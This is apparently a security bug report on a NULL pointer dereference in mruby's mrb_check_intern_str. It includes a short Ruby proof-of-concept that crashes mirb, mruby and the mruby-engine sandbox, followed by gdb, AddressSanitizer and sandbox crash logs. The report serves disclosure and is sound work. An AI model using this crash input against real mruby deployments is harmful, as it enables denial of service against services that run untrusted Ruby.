PoC --------------------- The following code triggers the bug (attached as mrb_vm_exec.rb): def to_str $s.replace("")end $s="" class Test00espondTo end Test00espondTo.respond_to?(0) Crash - mirb --------------------- x@x:~/Desktop/research/mruby/bin$ ./mirb mrb_check_intern_str.rb mirb - Embeddable Interactive Ruby Shell => :to_str => "" => nil Segmentation fault (core dumped) Debug - mirb --------------------- x@x:~/Desktop/research/mruby/bin$ gdb -q ./mirb Reading symbols from ./mirb...done. (gdb) r mrb_check_intern_str.rb Starting program: /home/x/Desktop/research/mruby/bin/mirb mrb_check_intern_str.rb mirb - Embeddable Interactive Ruby Shell => :to_str => "" => nil Program received signal SIGSEGV, Segmentation fault. mrb_check_intern_str (mrb=0x756010, str=) at /home/x/Desktop/research/mruby/src/symbol.c:143 143 return mrb_check_intern(mrb, RSTRING_PTR(str), RSTRING_LEN(str)); (gdb) info reg rax 0x3015 12309 rbx 0x756010 7692304 rcx 0x745350 7623504 rdx 0x3 3 rsi 0x0 0 rdi 0x756010 7692304 rbp 0xfffffffffffffffc 0xfffffffffffffffc rsp 0x7fffffffc5c0 0x7fffffffc5c0 r8 0x1 1 r9 0x0 0 r10 0x0 0 r11 0x8000044000000000 -9223367363930357760 r12 0xfffffffffffffffc -4 r13 0x0 0 r14 0x756010 7692304 r15 0x759090 7704720 rip 0x42a540 0x42a540 eflags 0x10202 [ IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 Backtrace - mirb --------------------- (gdb) bt #0 mrb_check_intern_str (mrb=0x756010, str=) at /home/x/Desktop/research/mruby/src/symbol.c:143 #1 0x0000000000427fc9 in obj_respond_to (mrb=0x756010, self=) at /home/x/Desktop/research/mruby/src/kernel.c:961 #2 0x000000000040a37d in mrb_vm_exec (mrb=, proc=0x0, pc=) at /home/x/Desktop/research/mruby/src/vm.c:1171 #3 0x0000000000402e68 in main (argc=, argv=) at /home/x/Desktop/research/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:549 Clang - mirb --------------------- x@x:~/Desktop/research/clang/mruby/bin$ ./mirb mrb_check_intern_str.rb mirb - Embeddable Interactive Ruby Shell => :to_str => "" => nil ASAN:DEADLYSIGNAL ================================================================= ==5111==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000577626 bp 0x7fff9e888950 sp 0x7fff9e888780 T0) #0 0x577625 (/home/x/Desktop/research/clang/mruby/bin/mirb+0x577625) #1 0x56cfff (/home/x/Desktop/research/clang/mruby/bin/mirb+0x56cfff) #2 0x50b14c (/home/x/Desktop/research/clang/mruby/bin/mirb+0x50b14c) #3 0x501d5b (/home/x/Desktop/research/clang/mruby/bin/mirb+0x501d5b) #4 0x4f3ef8 (/home/x/Desktop/research/clang/mruby/bin/mirb+0x4f3ef8) #5 0x7f409fd19ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) #6 0x41a595 (/home/x/Desktop/research/clang/mruby/bin/mirb+0x41a595) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/home/x/Desktop/research/clang/mruby/bin/mirb+0x577625) ==5111==ABORTING Crash - mruby --------------------- x@x:~/Desktop/research/mruby/bin$ ./mruby mrb_check_intern_str.rb Segmentation fault (core dumped) Debug - mruby --------------------- x@x:~/Desktop/research/mruby/bin$ gdb -q ./mruby Reading symbols from ./mruby...done. (gdb) r mrb_check_intern_str.rb Starting program: /home/x/Desktop/research/mruby/bin/mruby mrb_check_intern_str.rb Program received signal SIGSEGV, Segmentation fault. mrb_check_intern_str (mrb=0x755010, str=) at /home/x/Desktop/research/mruby/src/symbol.c:143 143 return mrb_check_intern(mrb, RSTRING_PTR(str), RSTRING_LEN(str)); (gdb) info reg rax 0x3015 12309 rbx 0x755010 7688208 rcx 0x744330 7619376 rdx 0x3 3 rsi 0x0 0 rdi 0x755010 7688208 rbp 0xfffffffffffffffc 0xfffffffffffffffc rsp 0x7fffffffd740 0x7fffffffd740 r8 0x1 1 r9 0x0 0 r10 0x0 0 r11 0x8000044000000000 -9223367363930357760 r12 0xfffffffffffffffc -4 r13 0x0 0 r14 0x755010 7688208 r15 0x758120 7700768 rip 0x412e20 0x412e20 eflags 0x10202 [ IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 Backtrace - mruby --------------------- (gdb) bt #0 mrb_check_intern_str (mrb=0x755010, str=) at /home/x/Desktop/research/mruby/src/symbol.c:143 #1 0x00000000004c95d9 in obj_respond_to (mrb=0x755010, self=) at /home/x/Desktop/research/mruby/src/kernel.c:961 #2 0x00000000004b842d in mrb_vm_exec (mrb=, proc=0x0, pc=) at /home/x/Desktop/research/mruby/src/vm.c:1171 #3 0x00000000004c1ecd in mrb_vm_run (proc=0x7581b0, self=..., stack_keep=1, mrb=) at /home/x/Desktop/research/mruby/src/vm.c:772 #4 mrb_top_run (mrb=0x755010, proc=0x7581b0, self=..., stack_keep=) at /home/x/Desktop/research/mruby/src/vm.c:2487 #5 0x000000000049472f in mrb_load_exec (mrb=0x755010, p=, c=0x7aff30) at /home/x/Desktop/research/mruby/mrbgems/mruby-compiler/core/parse.y:5755 #6 0x0000000000402c67 in main (argc=, argv=) at /home/x/Desktop/research/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:232 Clang - mruby --------------------- x@x:~/Desktop/research/clang/mruby/bin$ ./mruby mrb_check_intern_str.rb ASAN:DEADLYSIGNAL ================================================================= ==5116==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000051c826 bp 0x7fffd99d7790 sp 0x7fffd99d75c0 T0) #0 0x51c825 (/home/x/Desktop/research/clang/mruby/bin/mruby+0x51c825) #1 0x69997f (/home/x/Desktop/research/clang/mruby/bin/mruby+0x69997f) #2 0x65470c (/home/x/Desktop/research/clang/mruby/bin/mruby+0x65470c) #3 0x64b31b (/home/x/Desktop/research/clang/mruby/bin/mruby+0x64b31b) #4 0x6773e8 (/home/x/Desktop/research/clang/mruby/bin/mruby+0x6773e8) #5 0x616529 (/home/x/Desktop/research/clang/mruby/bin/mruby+0x616529) #6 0x6171c5 (/home/x/Desktop/research/clang/mruby/bin/mruby+0x6171c5) #7 0x4f3af5 (/home/x/Desktop/research/clang/mruby/bin/mruby+0x4f3af5) #8 0x7fa8d20caec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) #9 0x41a505 (/home/x/Desktop/research/clang/mruby/bin/mruby+0x41a505) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/home/x/Desktop/research/clang/mruby/bin/mruby+0x51c825) ==5116==ABORTING Sandbox - Crash --------------------- Attached as sandbox.log x@x:~/Desktop/research/mruby/bin$ ../../mruby-engine/bin/sandbox mrb_check_intern_str.rb ../../mruby-engine/bin/sandbox:20: [BUG] Segmentation fault at 0x00000000000001 ruby 2.2.6p396 (2016-11-15 revision 56800) [x86_64-linux-gnu] -- Control frame information ----------------------------------------------- c:0003 p:---- s:0010 e:000009 CFUNC :sandbox_eval c:0002 p:0186 s:0005 E:001058 EVAL ../../mruby-engine/bin/sandbox:20 [FINISH] c:0001 p:0000 s:0002 E:001f30 TOP [FINISH] -- Ruby level backtrace information ---------------------------------------- ../../mruby-engine/bin/sandbox:20:in `

' ../../mruby-engine/bin/sandbox:20:in `sandbox_eval' -- Machine register context ------------------------------------------------ RIP: 0x00007f7ff452d994 RBP: 0x00007f7ff30ac040 RSP: 0x00007f7ff30a2980 RAX: 0x00007f7ff30ac070 RBX: 0x00007f7ff30a44e0 RCX: 0x0000000000000005 RDX: 0x0000000000000010 RDI: 0x00007f7ff30a44e0 RSI: 0x0000000000000001 R8: 0x00007f7ff30a43e0 R9: 0x0000000000000001 R10: 0x00007f7ff30a44e0 R11: 0x0000000000000000 R12: 0x00007f7ff30af2b0 R13: 0x00007f7ff30b0a00 R14: 0x0000000000000001 R15: 0x00007f7ff30a44e0 EFL: 0x0000000000010202 -- C level backtrace information ------------------------------------------- /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7f7ff8c1fd55] /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7f7ff8c1ff8c] /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7f7ff8afc06b] /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7f7ff8bb214e] ... ... ... 7f7ff912c000-7f7ff912d000 r--p 00022000 08:01 1839103 /lib/x86_64-linux-gnu/ld-2.19.so 7f7ff912d000-7f7ff912e000 rw-p 00023000 08:01 1839103 /lib/x86_64-linux-gnu/ld-2.19.so 7f7ff912e000-7f7ff912f000 rw-p 00000000 00:00 0 7ffffc1c6000-7ffffc9c5000 rw-p 00000000 00:00 0 [stack] 7ffffc9fe000-7ffffca00000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] [NOTE] You may have encountered a bug in the Ruby interpreter or extension libraries. Bug reports are welcome. For details: http://www.ruby-lang.org/bugreport.html Aborted (core dumped) Impact --------------------- This vulnerability is caused by NullPointer error. It can not be exploited, but it can cause DoS.

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